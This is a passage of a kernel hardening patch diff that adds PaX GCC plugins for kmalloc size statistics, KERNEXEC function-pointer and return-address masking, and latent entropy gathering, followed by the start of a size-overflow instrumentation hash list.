execute_kallocstat(void) ++{ ++ basic_block bb; ++ ++ // 1. loop through BBs and GIMPLE statements ++ FOR_EACH_BB(bb) { ++ gimple_stmt_iterator gsi; ++ for (gsi = gsi_start_bb(bb); !gsi_end_p(gsi); gsi_next(&gsi)) { ++ // gimple match: ++ tree fndecl, size; ++ gimple call_stmt; ++ const char *fnname; ++ ++ // is it a call ++ call_stmt = gsi_stmt(gsi); ++ if (!is_gimple_call(call_stmt)) ++ continue; ++ fndecl = gimple_call_fndecl(call_stmt); ++ if (fndecl == NULL_TREE) ++ continue; ++ if (TREE_CODE(fndecl) != FUNCTION_DECL) ++ continue; ++ ++ // is it a call to k*alloc ++ fnname = IDENTIFIER_POINTER(DECL_NAME(fndecl)); ++ if (!is_kalloc(fnname)) ++ continue; ++ ++ // is the size arg the result of a simple const assignment ++ size = gimple_call_arg(call_stmt, 0); ++ while (true) { ++ gimple def_stmt; ++ expanded_location xloc; ++ size_t size_val; ++ ++ if (TREE_CODE(size) != SSA_NAME) ++ break; ++ def_stmt = SSA_NAME_DEF_STMT(size); ++ if (!def_stmt || !is_gimple_assign(def_stmt)) ++ break; ++ if (gimple_num_ops(def_stmt) != 2) ++ break; ++ size = gimple_assign_rhs1(def_stmt); ++ if (!TREE_CONSTANT(size)) ++ continue; ++ xloc = expand_location(gimple_location(def_stmt)); ++ if (!xloc.file) ++ xloc = expand_location(DECL_SOURCE_LOCATION(current_function_decl)); ++ size_val = TREE_INT_CST_LOW(size); ++ fprintf(stderr, "kallocsize: %8zu %8zx %s %s:%u\n", size_val, size_val, fnname, xloc.file, xloc.line); ++ break; ++ } ++//print_gimple_stmt(stderr, call_stmt, 0, TDF_LINENO); ++//debug_tree(gimple_call_fn(call_stmt)); ++//print_node(stderr, "pax", fndecl, 4); ++ } ++ } ++ ++ return 0; ++} ++ ++int plugin_init(struct plugin_name_args *plugin_info, struct plugin_gcc_version *version) ++{ ++ const char * const plugin_name = plugin_info->base_name; ++ struct register_pass_info kallocstat_pass_info = { ++ .pass = &kallocstat_pass.pass, ++ .reference_pass_name = "ssa", ++ .ref_pass_instance_number = 1, ++ .pos_op = PASS_POS_INSERT_AFTER ++ }; ++ ++ if (!plugin_default_version_check(version, &gcc_version)) { ++ error(G_("incompatible gcc/plugin versions")); ++ return 1; ++ } ++ ++ register_callback(plugin_name, PLUGIN_INFO, NULL, &kallocstat_plugin_info); ++ register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &kallocstat_pass_info); ++ ++ return 0; ++} +--- tools/gcc/kernexec_plugin.c 1970-01-01 00:00:00.000000000 +0000 ++++ tools/gcc/kernexec_plugin.c 2012-10-15 17:30:59.831924531 +0000 +@@ -0,0 +1,427 @@ ++/* ++ * Copyright 2011 by the PaX Team ++ * Licensed under the GPL v2 ++ * ++ * Note: the choice of the license means that the compilation process is ++ * NOT 'eligible' as defined by gcc's library exception to the GPL v3, ++ * but for the kernel it doesn't matter since it doesn't link against ++ * any of the gcc libraries ++ * ++ * gcc plugin to make KERNEXEC/amd64 almost as good as it is on i386 ++ * ++ * TODO: ++ * ++ * BUGS: ++ * - none known ++ */ ++#include "gcc-plugin.h" ++#include "config.h" ++#include "system.h" ++#include "coretypes.h" ++#include "tree.h" ++#include "tree-pass.h" ++#include "flags.h" ++#include "intl.h" ++#include "toplev.h" ++#include "plugin.h" ++//#include "expr.h" where are you... ++#include "diagnostic.h" ++#include "plugin-version.h" ++#include "tm.h" ++#include "function.h" ++#include "basic-block.h" ++#include "gimple.h" ++#include "rtl.h" ++#include "emit-rtl.h" ++#include "tree-flow.h" ++ ++extern void print_gimple_stmt(FILE *, gimple, int, int); ++extern rtx emit_move_insn(rtx x, rtx y); ++ ++int plugin_is_GPL_compatible; ++ ++static struct plugin_info kernexec_plugin_info = { ++ .version = "201111291120", ++ .help = "method=[bts|or]\tinstrumentation method\n" ++}; ++ ++static unsigned int execute_kernexec_reload(void); ++static unsigned int execute_kernexec_fptr(void); ++static unsigned int execute_kernexec_retaddr(void); ++static bool kernexec_cmodel_check(void); ++ ++static void (*kernexec_instrument_fptr)(gimple_stmt_iterator *); ++static void (*kernexec_instrument_retaddr)(rtx); ++ ++static struct gimple_opt_pass kernexec_reload_pass = { ++ .pass = { ++ .type = GIMPLE_PASS, ++ .name = "kernexec_reload", ++ .gate = kernexec_cmodel_check, ++ .execute = execute_kernexec_reload, ++ .sub = NULL, ++ .next = NULL, ++ .static_pass_number = 0, ++ .tv_id = TV_NONE, ++ .properties_required = 0, ++ .properties_provided = 0, ++ .properties_destroyed = 0, ++ .todo_flags_start = 0, ++ .todo_flags_finish = TODO_verify_ssa | TODO_verify_stmts | TODO_dump_func | TODO_remove_unused_locals | TODO_update_ssa_no_phi ++ } ++}; ++ ++static struct gimple_opt_pass kernexec_fptr_pass = { ++ .pass = { ++ .type = GIMPLE_PASS, ++ .name = "kernexec_fptr", ++ .gate = kernexec_cmodel_check, ++ .execute = execute_kernexec_fptr, ++ .sub = NULL, ++ .next = NULL, ++ .static_pass_number = 0, ++ .tv_id = TV_NONE, ++ .properties_required = 0, ++ .properties_provided = 0, ++ .properties_destroyed = 0, ++ .todo_flags_start = 0, ++ .todo_flags_finish = TODO_verify_ssa | TODO_verify_stmts | TODO_dump_func | TODO_remove_unused_locals | TODO_update_ssa_no_phi ++ } ++}; ++ ++static struct rtl_opt_pass kernexec_retaddr_pass = { ++ .pass = { ++ .type = RTL_PASS, ++ .name = "kernexec_retaddr", ++ .gate = kernexec_cmodel_check, ++ .execute = execute_kernexec_retaddr, ++ .sub = NULL, ++ .next = NULL, ++ .static_pass_number = 0, ++ .tv_id = TV_NONE, ++ .properties_required = 0, ++ .properties_provided = 0, ++ .properties_destroyed = 0, ++ .todo_flags_start = 0, ++ .todo_flags_finish = TODO_dump_func | TODO_ggc_collect ++ } ++}; ++ ++static bool kernexec_cmodel_check(void) ++{ ++ tree section; ++ ++ if (ix86_cmodel != CM_KERNEL) ++ return false; ++ ++ section = lookup_attribute("section", DECL_ATTRIBUTES(current_function_decl)); ++ if (!section || !TREE_VALUE(section)) ++ return true; ++ ++ section = TREE_VALUE(TREE_VALUE(section)); ++ if (strncmp(TREE_STRING_POINTER(section), ".vsyscall_", 10)) ++ return true; ++ ++ return false; ++} ++ ++/* ++ * add special KERNEXEC instrumentation: reload %r10 after it has been clobbered ++ */ ++static void kernexec_reload_fptr_mask(gimple_stmt_iterator *gsi) ++{ ++ gimple asm_movabs_stmt; ++ ++ // build asm volatile("movabs $0x8000000000000000, %%r10\n\t" : : : ); ++ asm_movabs_stmt = gimple_build_asm_vec("movabs $0x8000000000000000, %%r10\n\t", NULL, NULL, NULL, NULL); ++ gimple_asm_set_volatile(asm_movabs_stmt, true); ++ gsi_insert_after(gsi, asm_movabs_stmt, GSI_CONTINUE_LINKING); ++ update_stmt(asm_movabs_stmt); ++} ++ ++/* ++ * find all asm() stmts that clobber r10 and add a reload of r10 ++ */ ++static unsigned int execute_kernexec_reload(void) ++{ ++ basic_block bb; ++ ++ // 1. loop through BBs and GIMPLE statements ++ FOR_EACH_BB(bb) { ++ gimple_stmt_iterator gsi; ++ ++ for (gsi = gsi_start_bb(bb); !gsi_end_p(gsi); gsi_next(&gsi)) { ++ // gimple match: __asm__ ("" : : : "r10"); ++ gimple asm_stmt; ++ size_t nclobbers; ++ ++ // is it an asm ... ++ asm_stmt = gsi_stmt(gsi); ++ if (gimple_code(asm_stmt) != GIMPLE_ASM) ++ continue; ++ ++ // ... clobbering r10 ++ nclobbers = gimple_asm_nclobbers(asm_stmt); ++ while (nclobbers--) { ++ tree op = gimple_asm_clobber_op(asm_stmt, nclobbers); ++ if (strcmp(TREE_STRING_POINTER(TREE_VALUE(op)), "r10")) ++ continue; ++ kernexec_reload_fptr_mask(&gsi); ++//print_gimple_stmt(stderr, asm_stmt, 0, TDF_LINENO); ++ break; ++ } ++ } ++ } ++ ++ return 0; ++} ++ ++/* ++ * add special KERNEXEC instrumentation: force MSB of fptr to 1, which will produce ++ * a non-canonical address from a userland ptr and will just trigger a GPF on dereference ++ */ ++static void kernexec_instrument_fptr_bts(gimple_stmt_iterator *gsi) ++{ ++ gimple assign_intptr, assign_new_fptr, call_stmt; ++ tree intptr, old_fptr, new_fptr, kernexec_mask; ++ ++ call_stmt = gsi_stmt(*gsi); ++ old_fptr = gimple_call_fn(call_stmt); ++ ++ // create temporary unsigned long variable used for bitops and cast fptr to it ++ intptr = create_tmp_var(long_unsigned_type_node, "kernexec_bts"); ++ add_referenced_var(intptr); ++ mark_sym_for_renaming(intptr); ++ assign_intptr = gimple_build_assign(intptr, fold_convert(long_unsigned_type_node, old_fptr)); ++ gsi_insert_before(gsi, assign_intptr, GSI_SAME_STMT); ++ update_stmt(assign_intptr); ++ ++ // apply logical or to temporary unsigned long and bitmask ++ kernexec_mask = build_int_cstu(long_long_unsigned_type_node, 0x8000000000000000LL); ++// kernexec_mask = build_int_cstu(long_long_unsigned_type_node, 0xffffffff80000000LL); ++ assign_intptr = gimple_build_assign(intptr, fold_build2(BIT_IOR_EXPR, long_long_unsigned_type_node, intptr, kernexec_mask)); ++ gsi_insert_before(gsi, assign_intptr, GSI_SAME_STMT); ++ update_stmt(assign_intptr); ++ ++ // cast temporary unsigned long back to a temporary fptr variable ++ new_fptr = create_tmp_var(TREE_TYPE(old_fptr), "kernexec_fptr"); ++ add_referenced_var(new_fptr); ++ mark_sym_for_renaming(new_fptr); ++ assign_new_fptr = gimple_build_assign(new_fptr, fold_convert(TREE_TYPE(old_fptr), intptr)); ++ gsi_insert_before(gsi, assign_new_fptr, GSI_SAME_STMT); ++ update_stmt(assign_new_fptr); ++ ++ // replace call stmt fn with the new fptr ++ gimple_call_set_fn(call_stmt, new_fptr); ++ update_stmt(call_stmt); ++} ++ ++static void kernexec_instrument_fptr_or(gimple_stmt_iterator *gsi) ++{ ++ gimple asm_or_stmt, call_stmt; ++ tree old_fptr, new_fptr, input, output; ++ VEC(tree, gc) *inputs = NULL; ++ VEC(tree, gc) *outputs = NULL; ++ ++ call_stmt = gsi_stmt(*gsi); ++ old_fptr = gimple_call_fn(call_stmt); ++ ++ // create temporary fptr variable ++ new_fptr = create_tmp_var(TREE_TYPE(old_fptr), "kernexec_or"); ++ add_referenced_var(new_fptr); ++ mark_sym_for_renaming(new_fptr); ++ ++ // build asm volatile("orq %%r10, %0\n\t" : "=r"(new_fptr) : "0"(old_fptr)); ++ input = build_tree_list(NULL_TREE, build_string(2, "0")); ++ input = chainon(NULL_TREE, build_tree_list(input, old_fptr)); ++ output = build_tree_list(NULL_TREE, build_string(3, "=r")); ++ output = chainon(NULL_TREE, build_tree_list(output, new_fptr)); ++ VEC_safe_push(tree, gc, inputs, input); ++ VEC_safe_push(tree, gc, outputs, output); ++ asm_or_stmt = gimple_build_asm_vec("orq %%r10, %0\n\t", inputs, outputs, NULL, NULL); ++ gimple_asm_set_volatile(asm_or_stmt, true); ++ gsi_insert_before(gsi, asm_or_stmt, GSI_SAME_STMT); ++ update_stmt(asm_or_stmt); ++ ++ // replace call stmt fn with the new fptr ++ gimple_call_set_fn(call_stmt, new_fptr); ++ update_stmt(call_stmt); ++} ++ ++/* ++ * find all C level function pointer dereferences and forcibly set the highest bit of the pointer ++ */ ++static unsigned int execute_kernexec_fptr(void) ++{ ++ basic_block bb; ++ ++ // 1. loop through BBs and GIMPLE statements ++ FOR_EACH_BB(bb) { ++ gimple_stmt_iterator gsi; ++ ++ for (gsi = gsi_start_bb(bb); !gsi_end_p(gsi); gsi_next(&gsi)) { ++ // gimple match: h_1 = get_fptr (); D.2709_3 = h_1 (x_2(D)); ++ tree fn; ++ gimple call_stmt; ++ ++ // is it a call ... ++ call_stmt = gsi_stmt(gsi); ++ if (!is_gimple_call(call_stmt)) ++ continue; ++ fn = gimple_call_fn(call_stmt); ++ if (TREE_CODE(fn) == ADDR_EXPR) ++ continue; ++ if (TREE_CODE(fn) != SSA_NAME) ++ gcc_unreachable(); ++ ++ // ... through a function pointer ++ fn = SSA_NAME_VAR(fn); ++ if (TREE_CODE(fn) != VAR_DECL && TREE_CODE(fn) != PARM_DECL) ++ continue; ++ fn = TREE_TYPE(fn); ++ if (TREE_CODE(fn) != POINTER_TYPE) ++ continue; ++ fn = TREE_TYPE(fn); ++ if (TREE_CODE(fn) != FUNCTION_TYPE) ++ continue; ++ ++ kernexec_instrument_fptr(&gsi); ++ ++//debug_tree(gimple_call_fn(call_stmt)); ++//print_gimple_stmt(stderr, call_stmt, 0, TDF_LINENO); ++ } ++ } ++ ++ return 0; ++} ++ ++// add special KERNEXEC instrumentation: btsq $63,(%rsp) just before retn ++static void kernexec_instrument_retaddr_bts(rtx insn) ++{ ++ rtx btsq; ++ rtvec argvec, constraintvec, labelvec; ++ int line; ++ ++ // create asm volatile("btsq $63,(%%rsp)":::) ++ argvec = rtvec_alloc(0); ++ constraintvec = rtvec_alloc(0); ++ labelvec = rtvec_alloc(0); ++ line = expand_location(RTL_LOCATION(insn)).line; ++ btsq = gen_rtx_ASM_OPERANDS(VOIDmode, "btsq $63,(%%rsp)", empty_string, 0, argvec, constraintvec, labelvec, line); ++ MEM_VOLATILE_P(btsq) = 1; ++// RTX_FRAME_RELATED_P(btsq) = 1; // not for ASM_OPERANDS ++ emit_insn_before(btsq, insn); ++} ++ ++// add special KERNEXEC instrumentation: orq %r10,(%rsp) just before retn ++static void kernexec_instrument_retaddr_or(rtx insn) ++{ ++ rtx orq; ++ rtvec argvec, constraintvec, labelvec; ++ int line; ++ ++ // create asm volatile("orq %%r10,(%%rsp)":::) ++ argvec = rtvec_alloc(0); ++ constraintvec = rtvec_alloc(0); ++ labelvec = rtvec_alloc(0); ++ line = expand_location(RTL_LOCATION(insn)).line; ++ orq = gen_rtx_ASM_OPERANDS(VOIDmode, "orq %%r10,(%%rsp)", empty_string, 0, argvec, constraintvec, labelvec, line); ++ MEM_VOLATILE_P(orq) = 1; ++// RTX_FRAME_RELATED_P(orq) = 1; // not for ASM_OPERANDS ++ emit_insn_before(orq, insn); ++} ++ ++/* ++ * find all asm level function returns and forcibly set the highest bit of the return address ++ */ ++static unsigned int execute_kernexec_retaddr(void) ++{ ++ rtx insn; ++ ++ // 1. find function returns ++ for (insn = get_insns(); insn; insn = NEXT_INSN(insn)) { ++ // rtl match: (jump_insn 41 40 42 2 (return) fptr.c:42 634 {return_internal} (nil)) ++ // (jump_insn 12 9 11 2 (parallel [ (return) (unspec [ (0) ] UNSPEC_REP) ]) fptr.c:46 635 {return_internal_long} (nil)) ++ rtx body; ++ ++ // is it a retn ++ if (!JUMP_P(insn)) ++ continue; ++ body = PATTERN(insn); ++ if (GET_CODE(body) == PARALLEL) ++ body = XVECEXP(body, 0, 0); ++ if (GET_CODE(body) != RETURN) ++ continue; ++ kernexec_instrument_retaddr(insn); ++ } ++ ++// print_simple_rtl(stderr, get_insns()); ++// print_rtl(stderr, get_insns()); ++ ++ return 0; ++} ++ ++int plugin_init(struct plugin_name_args *plugin_info, struct plugin_gcc_version *version) ++{ ++ const char * const plugin_name = plugin_info->base_name; ++ const int argc = plugin_info->argc; ++ const struct plugin_argument * const argv = plugin_info->argv; ++ int i; ++ struct register_pass_info kernexec_reload_pass_info = { ++ .pass = &kernexec_reload_pass.pass, ++ .reference_pass_name = "ssa", ++ .ref_pass_instance_number = 1, ++ .pos_op = PASS_POS_INSERT_AFTER ++ }; ++ struct register_pass_info kernexec_fptr_pass_info = { ++ .pass = &kernexec_fptr_pass.pass, ++ .reference_pass_name = "ssa", ++ .ref_pass_instance_number = 1, ++ .pos_op = PASS_POS_INSERT_AFTER ++ }; ++ struct register_pass_info kernexec_retaddr_pass_info = { ++ .pass = &kernexec_retaddr_pass.pass, ++ .reference_pass_name = "pro_and_epilogue", ++ .ref_pass_instance_number = 1, ++ .pos_op = PASS_POS_INSERT_AFTER ++ }; ++ ++ if (!plugin_default_version_check(version, &gcc_version)) { ++ error(G_("incompatible gcc/plugin versions")); ++ return 1; ++ } ++ ++ register_callback(plugin_name, PLUGIN_INFO, NULL, &kernexec_plugin_info); ++ ++ if (TARGET_64BIT == 0) ++ return 0; ++ ++ for (i = 0; i < argc; ++i) { ++ if (!strcmp(argv[i].key, "method")) { ++ if (!argv[i].value) { ++ error(G_("no value supplied for option '-fplugin-arg-%s-%s'"), plugin_name, argv[i].key); ++ continue; ++ } ++ if (!strcmp(argv[i].value, "bts")) { ++ kernexec_instrument_fptr = kernexec_instrument_fptr_bts; ++ kernexec_instrument_retaddr = kernexec_instrument_retaddr_bts; ++ } else if (!strcmp(argv[i].value, "or")) { ++ kernexec_instrument_fptr = kernexec_instrument_fptr_or; ++ kernexec_instrument_retaddr = kernexec_instrument_retaddr_or; ++ fix_register("r10", 1, 1); ++ } else ++ error(G_("invalid option argument '-fplugin-arg-%s-%s=%s'"), plugin_name, argv[i].key, argv[i].value); ++ continue; ++ } ++ error(G_("unkown option '-fplugin-arg-%s-%s'"), plugin_name, argv[i].key); ++ } ++ if (!kernexec_instrument_fptr || !kernexec_instrument_retaddr) ++ error(G_("no instrumentation method was selected via '-fplugin-arg-%s-method'"), plugin_name); ++ ++ if (kernexec_instrument_fptr == kernexec_instrument_fptr_or) ++ register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &kernexec_reload_pass_info); ++ register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &kernexec_fptr_pass_info); ++ register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &kernexec_retaddr_pass_info); ++ ++ return 0; ++} +--- tools/gcc/latent_entropy_plugin.c 1970-01-01 00:00:00.000000000 +0000 ++++ tools/gcc/latent_entropy_plugin.c 2012-10-15 17:30:59.831924531 +0000 +@@ -0,0 +1,295 @@ ++/* ++ * Copyright 2012 by the PaX Team ++ * Licensed under the GPL v2 ++ * ++ * Note: the choice of the license means that the compilation process is ++ * NOT 'eligible' as defined by gcc's library exception to the GPL v3, ++ * but for the kernel it doesn't matter since it doesn't link against ++ * any of the gcc libraries ++ * ++ * gcc plugin to help generate a little bit of entropy from program state, ++ * used during boot in the kernel ++ * ++ * TODO: ++ * - add ipa pass to identify not explicitly marked candidate functions ++ * - mix in more program state (function arguments/return values, loop variables, etc) ++ * - more instrumentation control via attribute parameters ++ * ++ * BUGS: ++ * - LTO needs -flto-partition=none for now ++ */ ++#include "gcc-plugin.h" ++#include "config.h" ++#include "system.h" ++#include "coretypes.h" ++#include "tree.h" ++#include "tree-pass.h" ++#include "flags.h" ++#include "intl.h" ++#include "toplev.h" ++#include "plugin.h" ++//#include "expr.h" where are you... ++#include "diagnostic.h" ++#include "plugin-version.h" ++#include "tm.h" ++#include "function.h" ++#include "basic-block.h" ++#include "gimple.h" ++#include "rtl.h" ++#include "emit-rtl.h" ++#include "tree-flow.h" ++ ++int plugin_is_GPL_compatible; ++ ++static tree latent_entropy_decl; ++ ++static struct plugin_info latent_entropy_plugin_info = { ++ .version = "201207271820", ++ .help = NULL ++}; ++ ++static unsigned int execute_latent_entropy(void); ++static bool gate_latent_entropy(void); ++ ++static struct gimple_opt_pass latent_entropy_pass = { ++ .pass = { ++ .type = GIMPLE_PASS, ++ .name = "latent_entropy", ++ .gate = gate_latent_entropy, ++ .execute = execute_latent_entropy, ++ .sub = NULL, ++ .next = NULL, ++ .static_pass_number = 0, ++ .tv_id = TV_NONE, ++ .properties_required = PROP_gimple_leh | PROP_cfg, ++ .properties_provided = 0, ++ .properties_destroyed = 0, ++ .todo_flags_start = 0, //TODO_verify_ssa | TODO_verify_flow | TODO_verify_stmts, ++ .todo_flags_finish = TODO_verify_ssa | TODO_verify_stmts | TODO_dump_func | TODO_update_ssa ++ } ++}; ++ ++static tree handle_latent_entropy_attribute(tree *node, tree name, tree args, int flags, bool *no_add_attrs) ++{ ++ if (TREE_CODE(*node) != FUNCTION_DECL) { ++ *no_add_attrs = true; ++ error("%qE attribute only applies to functions", name); ++ } ++ return NULL_TREE; ++} ++ ++static struct attribute_spec latent_entropy_attr = { ++ .name = "latent_entropy", ++ .min_length = 0, ++ .max_length = 0, ++ .decl_required = true, ++ .type_required = false, ++ .function_type_required = false, ++ .handler = handle_latent_entropy_attribute, ++#if BUILDING_GCC_VERSION >= 4007 ++ .affects_type_identity = false ++#endif ++}; ++ ++static void register_attributes(void *event_data, void *data) ++{ ++ register_attribute(&latent_entropy_attr); ++} ++ ++static bool gate_latent_entropy(void) ++{ ++ tree latent_entropy_attr; ++ ++ latent_entropy_attr = lookup_attribute("latent_entropy", DECL_ATTRIBUTES(current_function_decl)); ++ return latent_entropy_attr != NULL_TREE; ++} ++ ++static unsigned HOST_WIDE_INT seed; ++static unsigned HOST_WIDE_INT get_random_const(void) ++{ ++ seed = (seed >> 1U) ^ (-(seed & 1ULL) & 0xD800000000000000ULL); ++ return seed; ++} ++ ++static enum tree_code get_op(tree *rhs) ++{ ++ static enum tree_code op; ++ unsigned HOST_WIDE_INT random_const; ++ ++ random_const = get_random_const(); ++ ++ switch (op) { ++ case BIT_XOR_EXPR: ++ op = PLUS_EXPR; ++ break; ++ ++ case PLUS_EXPR: ++ if (rhs) { ++ op = LROTATE_EXPR; ++ random_const &= HOST_BITS_PER_WIDE_INT - 1; ++ break; ++ } ++ ++ case LROTATE_EXPR: ++ default: ++ op = BIT_XOR_EXPR; ++ break; ++ } ++ if (rhs) ++ *rhs = build_int_cstu(unsigned_intDI_type_node, random_const); ++ return op; ++} ++ ++static void perturb_local_entropy(basic_block bb, tree local_entropy) ++{ ++ gimple_stmt_iterator gsi; ++ gimple assign; ++ tree addxorrol, rhs; ++ enum tree_code op; ++ ++ op = get_op(&rhs); ++ addxorrol = fold_build2_loc(UNKNOWN_LOCATION, op, unsigned_intDI_type_node, local_entropy, rhs); ++ assign = gimple_build_assign(local_entropy, addxorrol); ++ find_referenced_vars_in(assign); ++//debug_bb(bb); ++ gsi = gsi_after_labels(bb); ++ gsi_insert_before(&gsi, assign, GSI_NEW_STMT); ++ update_stmt(assign); ++} ++ ++static void perturb_latent_entropy(basic_block bb, tree rhs) ++{ ++ gimple_stmt_iterator gsi; ++ gimple assign; ++ tree addxorrol, temp; ++ ++ // 1. create temporary copy of latent_entropy ++ temp = create_tmp_var(unsigned_intDI_type_node, "temp_latent_entropy"); ++ add_referenced_var(temp); ++ mark_sym_for_renaming(temp); ++ ++ // 2. read... ++ assign = gimple_build_assign(temp, latent_entropy_decl); ++ find_referenced_vars_in(assign); ++ gsi = gsi_after_labels(bb); ++ gsi_insert_after(&gsi, assign, GSI_NEW_STMT); ++ update_stmt(assign); ++ ++ // 3. ...modify... ++ addxorrol = fold_build2_loc(UNKNOWN_LOCATION, get_op(NULL), unsigned_intDI_type_node, temp, rhs); ++ assign = gimple_build_assign(temp, addxorrol); ++ find_referenced_vars_in(assign); ++ gsi_insert_after(&gsi, assign, GSI_NEW_STMT); ++ update_stmt(assign); ++ ++ // 4. ...write latent_entropy ++ assign = gimple_build_assign(latent_entropy_decl, temp); ++ find_referenced_vars_in(assign); ++ gsi_insert_after(&gsi, assign, GSI_NEW_STMT); ++ update_stmt(assign); ++} ++ ++static unsigned int execute_latent_entropy(void) ++{ ++ basic_block bb; ++ gimple assign; ++ gimple_stmt_iterator gsi; ++ tree local_entropy; ++ ++ if (!latent_entropy_decl) { ++ struct varpool_node *node; ++ ++ for (node = varpool_nodes; node; node = node->next) { ++ tree var = node->decl; ++ if (strcmp(IDENTIFIER_POINTER(DECL_NAME(var)), "latent_entropy")) ++ continue; ++ latent_entropy_decl = var; ++// debug_tree(var); ++ break; ++ } ++ if (!latent_entropy_decl) { ++// debug_tree(current_function_decl); ++ return 0; ++ } ++ } ++ ++//fprintf(stderr, "latent_entropy: %s\n", IDENTIFIER_POINTER(DECL_NAME(current_function_decl))); ++ ++ // 1. create local entropy variable ++ local_entropy = create_tmp_var(unsigned_intDI_type_node, "local_entropy"); ++ add_referenced_var(local_entropy); ++ mark_sym_for_renaming(local_entropy); ++ ++ // 2. initialize local entropy variable ++ bb = split_block_after_labels(ENTRY_BLOCK_PTR)->dest; ++ if (dom_info_available_p(CDI_DOMINATORS)) ++ set_immediate_dominator(CDI_DOMINATORS, bb, ENTRY_BLOCK_PTR); ++ gsi = gsi_start_bb(bb); ++ ++ assign = gimple_build_assign(local_entropy, build_int_cstu(unsigned_intDI_type_node, get_random_const())); ++// gimple_set_location(assign, loc); ++ find_referenced_vars_in(assign); ++ gsi_insert_after(&gsi, assign, GSI_NEW_STMT); ++ update_stmt(assign); ++ bb = bb->next_bb; ++ ++ // 3. instrument each BB with an operation on the local entropy variable ++ while (bb != EXIT_BLOCK_PTR) { ++ perturb_local_entropy(bb, local_entropy); ++ bb = bb->next_bb; ++ }; ++ ++ // 4. mix local entropy into the global entropy variable ++ perturb_latent_entropy(EXIT_BLOCK_PTR->prev_bb, local_entropy); ++ return 0; ++} ++ ++static void start_unit_callback(void *gcc_data, void *user_data) ++{ ++#if BUILDING_GCC_VERSION >= 4007 ++ seed = get_random_seed(false); ++#else ++ sscanf(get_random_seed(false), "%" HOST_WIDE_INT_PRINT "x", &seed); ++ seed *= seed; ++#endif ++ ++ if (in_lto_p) ++ return; ++ ++ // extern u64 latent_entropy ++ latent_entropy_decl = build_decl(UNKNOWN_LOCATION, VAR_DECL, get_identifier("latent_entropy"), unsigned_intDI_type_node); ++ ++ TREE_STATIC(latent_entropy_decl) = 1; ++ TREE_PUBLIC(latent_entropy_decl) = 1; ++ TREE_USED(latent_entropy_decl) = 1; ++ TREE_THIS_VOLATILE(latent_entropy_decl) = 1; ++ DECL_EXTERNAL(latent_entropy_decl) = 1; ++ DECL_ARTIFICIAL(latent_entropy_decl) = 0; ++ DECL_INITIAL(latent_entropy_decl) = NULL; ++// DECL_ASSEMBLER_NAME(latent_entropy_decl); ++// varpool_finalize_decl(latent_entropy_decl); ++// varpool_mark_needed_node(latent_entropy_decl); ++} ++ ++int plugin_init(struct plugin_name_args *plugin_info, struct plugin_gcc_version *version) ++{ ++ const char * const plugin_name = plugin_info->base_name; ++ struct register_pass_info latent_entropy_pass_info = { ++ .pass = &latent_entropy_pass.pass, ++ .reference_pass_name = "optimized", ++ .ref_pass_instance_number = 1, ++ .pos_op = PASS_POS_INSERT_BEFORE ++ }; ++ ++ if (!plugin_default_version_check(version, &gcc_version)) { ++ error(G_("incompatible gcc/plugin versions")); ++ return 1; ++ } ++ ++ register_callback(plugin_name, PLUGIN_INFO, NULL, &latent_entropy_plugin_info); ++ register_callback ("start_unit", PLUGIN_START_UNIT, &start_unit_callback, NULL); ++ register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &latent_entropy_pass_info); ++ register_callback(plugin_name, PLUGIN_ATTRIBUTES, register_attributes, NULL); ++ ++ return 0; ++} +--- tools/gcc/size_overflow_hash.data 1970-01-01 00:00:00.000000000 +0000 ++++ tools/gcc/size_overflow_hash.data 2012-10-15 17:30:59.834924531 +0000 +@@ -0,0 +1,3597 @@ ++_000001_hash alloc_dr 2 65495 _000001_hash NULL ++_000002_hash __copy_from_user 3 10918 _000002_hash NULL ++_000003_hash copy_from_user 3 17559 _000003_hash NULL ++_000004_hash __copy_from_user_inatomic 3 4365 _000004_hash NULL ++_000005_hash __copy_from_user_nocache 3 39351 _000005_hash NULL ++_000006_hash __copy_to_user_inatomic 3 19214 _000006_hash NULL ++_000007_hash do_xip_mapping_read 5 60297 _000007_hash NULL ++_000008_hash hugetlbfs_read 3 11268 _000008_hash NULL ++_000009_hash kmalloc 1 60432 _003302_hash NULL nohasharray ++_000010_hash kmalloc_array 1-2 9444 _000010_hash NULL ++_000012_hash __kmalloc_reserve 1 17080 _000012_hash NULL ++_000013_hash kmalloc_slab 1 11917 _000013_hash NULL ++_000014_hash kmemdup 2 64015 _000014_hash NULL ++_000015_hash __krealloc 2 14857 _000340_hash NULL nohasharray ++_000016_hash memdup_user 2 59590 _000016_hash NULL ++_000017_hash module_alloc 1 63630 _000017_hash NULL ++_000018_hash read_default_ldt 2 14302 _000018_hash NULL ++_000019_hash read_kcore 3 63488 _000019_hash NULL ++_000020_hash read_ldt 2 47570 _000020_hash NULL ++_000021_hash read_zero 3 19366 _000021_hash NULL ++_000022_hash __vmalloc_node 1 39308 _000022_hash NULL ++_000023_hash aac_convert_sgraw2 4 51598 _000023_hash NULL ++_000024_hash aa_simple_write_to_buffer 4-3 49683 _000024_hash NULL ++_000025_hash ablkcipher_copy_iv 3 64140 _000025_hash NULL ++_000026_hash ablkcipher_next_slow 3-4 47274 _000026_hash NULL ++_000028_hash acpi_battery_write_alarm 3 1240 _000028_hash NULL ++_000029_hash acpi_os_allocate 1 14892 _000029_hash NULL ++_000030_hash acpi_system_write_wakeup_device 3 34853 _000030_hash NULL ++_000031_hash adu_write 3 30487 _000031_hash NULL ++_000032_hash aer_inject_write 3 52399 _000032_hash NULL ++_000033_hash afs_alloc_flat_call 2-3 36399 _000033_hash NULL ++_000035_hash afs_proc_cells_write 3 61139 _000035_hash NULL ++_000036_hash afs_proc_rootcell_write 3 15822 _000036_hash NULL ++_000037_hash agp_3_5_isochronous_node_enable 3 49465 _000037_hash NULL ++_000038_hash agp_alloc_page_array 1 22554 _000038_hash NULL ++_000039_hash ah_alloc_tmp 2-3 54378 _000039_hash NULL ++_000041_hash ahash_setkey_unaligned 3 33521 _000041_hash NULL ++_000042_hash alg_setkey 3 31485 _000042_hash NULL ++_000043_hash aligned_kmalloc 1 3628 _000043_hash NULL ++_000044_hash alloc_context 1 3194 _000044_hash NULL ++_000045_hash alloc_ep_req 2 54860 _000045_hash NULL ++_000046_hash alloc_fdmem 1 27083 _000046_hash NULL ++_000047_hash alloc_flex_gd 1 